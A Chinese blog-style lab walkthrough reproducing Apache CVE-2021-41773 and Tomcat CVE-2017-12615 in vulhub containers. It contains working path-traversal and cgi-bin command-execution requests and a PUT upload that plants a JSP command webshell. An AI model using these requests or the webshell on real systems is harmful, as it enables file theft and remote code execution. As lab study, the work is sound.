# Apache HTTP Server 路径穿越漏洞 CVE-2021-41773
首先,先来看一下这个漏洞的官方描述:
CVE-2021-41773 是在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受 “要求全部拒绝” 的保护,则这些请求可能会成功,如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
# 漏洞条件:
配置目录遍历,并且开启 cgi mode 2.Apache HTTPd 版本为 2.4.49/2.4.50 3. 存在 cgi-bin 和 icons 文件夹
穿越的目录允许被访问,比如配置了Require all granted。(默认情况下是不允许的:Require all denied)
注意:这里的 /icons/ 必须是一个存在且可访问的目录
# 漏洞复现:
首先,需要在虚拟机里下载一个 docker,可以通过
1
| apt install docker.io docker-compose
|
来安装。
之后,需要下载 vulhub 的环境
1
| git clone https://github.com/vulhub/vulhub.git
|
之后就可以在 vulhub 这个文件夹下的 httpd 找到漏洞编号 CVE-2021-41773 了,然后执行如下命令
即可搭建完成,之后根据它开放的 端口来访问这个服务,
出现这个页面则表示搭建成功了,之后就可以开始了。
首先,抓包,然后修改请求包如下:
1 2 3 4 5 6 7 8 9 10 11
| GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 Host: 192.168.209.130:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 If-None-Match: "2d-432a5e4a73a80" If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT Connection: close
|
可以看到,我们请求的路径为 /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd , 那么,为啥这个路径能行呢?可以参考这篇文章:Apache HTTP Server 路径穿越漏洞 (CVE-2021-41773) 分析复现。说白了就是没有对目录进行有效的过滤,导致了可以造成目录穿越直接读取根目录的文件,不过,有的时候可能存在一些个问题,可能需要对 %2e 进行二次 url 编码,这里只是提一句。
发送了请求之后我们能够拿到这个回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| HTTP/1.1 200 OK Date: Mon, 17 Jun 2024 12:20:37 GMT Server: Apache/2.4.49 (Unix) Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT ETag: "39e-5cceec7356000" Accept-Ranges: bytes Content-Length: 926 Connection: close
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
证明我们成功了,成功读取了文件。
难道,只能这样了吗?
# 命令执行:
当然不是,在服务器开启 cgi 或 cgid 模块的情况下,该漏洞可执行任意命令。
如果,当我们修改文件路径为:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh 时,就会发现,我们输入的 POST 参数会被当做命令进行执行,也就是说,我们直接做到了 RCE 。
给个原因。
也就是说,通过 POST 传入的 参数,会作为 stdin
的内容,交给 所访问的 cgi 程序处理
如果访问的是 /bin/sh
,那么就能直接 getshell 了
我们给 POST 传入(固定格式) echo Content-Type: text/plain; echo; ls /
,之后就会发现我们成功读取了文件,我提前在根目录存放了 flag 文件,当作一个 ctf 题目来表明我们做对了这个题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| HTTP/1.1 200 OK Date: Mon, 17 Jun 2024 12:50:01 GMT Server: Apache/2.4.49 (Unix) Connection: close Content-Type: text/plain Content-Length: 90
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
|
之后我们 POST 传入: echo Content-Type: text/plain; echo; cat /flag
,最后能够拿到 flag:
1 2 3 4 5 6 7 8
| HTTP/1.1 200 OK Date: Mon, 17 Jun 2024 12:52:04 GMT Server: Apache/2.4.49 (Unix) Connection: close Content-Type: text/plain Content-Length: 21
flag{CVE-2021-41773}
|
# Tomcat 文件上传:
# 前置知识:
PUT 请求是向服务器端发送数据的,从而改变信息,该请求就像数据库的 update 操作一样,用来修改数据的内容,但是不会增加数据的种类等,也就是说无论进行多少次 PUT 操作,其结果并没有不同。
web.xml 主要用来配置 Filter、Listener、Servlet 等。当 readonly 是 true 的话,那么 PUT 和 DELETE 方法是被拒绝的,因此如果手动将 readonly 选项开启为 false,那么就能够通过 PUT 方法上传文件了。
# 漏洞复现:
vulhub 文件夹中的 tomcat 的 CVE-2017-12615 就是漏洞复现的环境。
可以在当前文件夹中使用:
1 2
| docker-compose build docker-compose up -d
|
来启动环境。
访问了之后是如下这个情况:
那么,首先我们在 docker 里查看我们的题目环境是怎么样的,可以发现 readonly 的值就是 false:
1 2 3 4 5
| <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
|
那么,我们就可以通过 PUT 传参来更新文件,大概 http 请求如下:
1 2 3 4 5 6 7 8 9 10 11 12
| PUT /1.jsp HTTP/1.1 Host: 192.168.209.130:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 4
test
|
这里发现无法上传,报错是 405–Method Not Allowed,查资料说的是后缀不允许,所以在 / 1.jsp 后面加上 %20 再试试,结果如下:
1 2 3
| HTTP/1.1 204 Date: Mon, 17 Jun 2024 13:40:05 GMT Connection: close
|
应该是上传成功了,访问下这个文件试试;
能访问到,说明这里就上传成功了,那么,接下来上传 jsp 马,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| PUT /1.jsp%20 HTTP/1.1 Host: 192.168.209.130:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 635
<%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>一句话木马</title> </head> <body> <% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine())!=null){ response.getWriter().print(line); } %> </body> </html>
|
这里很明显可以得知木马的参数为 cmd,所以访问之后直接传递 cmd 的参数即可执行命令,cmd=cat /flag: